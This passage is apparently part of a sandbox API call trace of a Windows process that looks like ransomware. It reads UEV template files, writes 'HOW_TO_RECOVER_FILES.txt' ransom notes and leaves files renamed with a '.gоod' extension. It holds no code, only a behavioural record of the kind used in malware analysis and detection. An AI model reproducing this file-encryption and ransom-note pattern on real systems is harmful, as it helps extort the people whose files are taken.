ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b)) returned 1 [0152.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0152.720] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", lpFilePart=0x0) returned 0x56 [0152.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.720] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0152.720] GetFileType (hFile=0x61c) returned 0x1 [0152.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0152.720] GetFileType (hFile=0x61c) returned 0x1 [0152.720] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0xb4b [0152.720] ReadFile (in: hFile=0x61c, lpBuffer=0x37fd840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x37fd840*, lpNumberOfBytesRead=0x10fa4d8*=0xb4b, lpOverlapped=0x0) returned 1 [0152.720] CloseHandle (hObject=0x61c) returned 1 [0152.731] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", lpFilePart=0x0) returned 0x56 [0152.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.732] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0152.734] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", lpFilePart=0x0) returned 0x44 [0152.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0152.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), fInfoLevelId=0x0, lpFileInformation=0x3879cc0 | out: lpFileInformation=0x3879cc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed)) returned 1 [0152.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0152.735] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", lpFilePart=0x0) returned 0x44 [0152.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.735] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0152.735] GetFileType (hFile=0x61c) returned 0x1 [0152.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0152.735] GetFileType (hFile=0x61c) returned 0x1 [0152.735] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x3ed [0152.735] ReadFile (in: hFile=0x61c, lpBuffer=0x387a378, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x387a378*, lpNumberOfBytesRead=0x10fa4d8*=0x3ed, lpOverlapped=0x0) returned 1 [0152.735] CloseHandle (hObject=0x61c) returned 1 [0152.746] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", lpFilePart=0x0) returned 0x44 [0152.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.746] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0152.748] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", lpFilePart=0x0) returned 0x43 [0152.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0152.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), fInfoLevelId=0x0, lpFileInformation=0x38f2ff0 | out: lpFileInformation=0x38f2ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x85f)) returned 1 [0152.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0152.749] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", lpFilePart=0x0) returned 0x43 [0152.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.749] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0152.749] GetFileType (hFile=0x61c) returned 0x1 [0152.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0152.749] GetFileType (hFile=0x61c) returned 0x1 [0152.749] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x85f [0152.749] ReadFile (in: hFile=0x61c, lpBuffer=0x38f3af8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x38f3af8*, lpNumberOfBytesRead=0x10fa4d8*=0x85f, lpOverlapped=0x0) returned 1 [0152.749] CloseHandle (hObject=0x61c) returned 1 [0152.760] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", lpFilePart=0x0) returned 0x43 [0152.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.760] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0152.763] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", lpFilePart=0x0) returned 0x4d [0152.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0152.763] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), fInfoLevelId=0x0, lpFileInformation=0x396dd88 | out: lpFileInformation=0x396dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd59)) returned 1 [0152.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0152.763] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", lpFilePart=0x0) returned 0x4d [0152.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.763] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0152.763] GetFileType (hFile=0x61c) returned 0x1 [0152.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0152.763] GetFileType (hFile=0x61c) returned 0x1 [0152.763] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0xd59 [0152.763] ReadFile (in: hFile=0x61c, lpBuffer=0x396edf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x396edf0*, lpNumberOfBytesRead=0x10fa4d8*=0xd59, lpOverlapped=0x0) returned 1 [0152.763] CloseHandle (hObject=0x61c) returned 1 [0152.874] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0154.069] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", lpFilePart=0x0) returned 0x4d [0154.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0154.070] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0154.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0154.072] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", lpFilePart=0x0) returned 0x45 [0154.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0154.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), fInfoLevelId=0x0, lpFileInformation=0x3340378 | out: lpFileInformation=0x3340378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa2e)) returned 1 [0154.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0154.072] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", lpFilePart=0x0) returned 0x45 [0154.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0154.072] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0154.072] GetFileType (hFile=0x61c) returned 0x1 [0154.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0154.072] GetFileType (hFile=0x61c) returned 0x1 [0154.072] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0xa2e [0154.073] ReadFile (in: hFile=0x61c, lpBuffer=0x3341070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x3341070*, lpNumberOfBytesRead=0x10fa4d8*=0xa2e, lpOverlapped=0x0) returned 1 [0154.073] CloseHandle (hObject=0x61c) returned 1 [0154.084] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", lpFilePart=0x0) returned 0x45 [0154.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0154.084] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0154.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0154.086] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", lpFilePart=0x0) returned 0x3c [0154.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0154.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), fInfoLevelId=0x0, lpFileInformation=0x33bcef0 | out: lpFileInformation=0x33bcef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c)) returned 1 [0154.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0154.087] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", lpFilePart=0x0) returned 0x3c [0154.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0154.087] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0154.087] GetFileType (hFile=0x61c) returned 0x1 [0154.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0154.087] GetFileType (hFile=0x61c) returned 0x1 [0154.087] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x37c [0154.087] ReadFile (in: hFile=0x61c, lpBuffer=0x33bd4f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x33bd4f8*, lpNumberOfBytesRead=0x10fa4d8*=0x37c, lpOverlapped=0x0) returned 1 [0154.087] CloseHandle (hObject=0x61c) returned 1 [0154.748] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", lpFilePart=0x0) returned 0x3c [0154.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0154.748] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0154.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0154.750] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0154.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0154.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0154.752] GetFileType (hFile=0x7f8) returned 0x1 [0154.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0154.752] GetFileType (hFile=0x7f8) returned 0x1 [0154.915] WriteFile (in: hFile=0x7f8, lpBuffer=0x32d5160*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x32d5160*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0154.916] CloseHandle (hObject=0x7f8) returned 1 [0154.916] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0154.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0154.916] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\uev\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0154.917] GetFileType (hFile=0x7f8) returned 0x1 [0154.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0154.917] GetFileType (hFile=0x7f8) returned 0x1 [0154.918] WriteFile (in: hFile=0x7f8, lpBuffer=0x32d8950*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x32d8950*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0154.919] CloseHandle (hObject=0x7f8) returned 1 [0154.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0154.919] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x32 [0154.919] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x337edde1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.919] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x337edde1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.919] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ecc15f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa4ecc15f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3045be4d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x930e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default User.dat.gоod", cAlternateFileName="DEFAUL~1.GOD")) returned 1 [0154.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37896d36, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37896d36, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x31196170, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy.dat.gоod", cAlternateFileName="")) returned 1 [0154.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x317638df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x93048, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp.gоod", cAlternateFileName="")) returned 1 [0154.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x31cf5233, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1528, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.png.gоod", cAlternateFileName="")) returned 1 [0154.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: 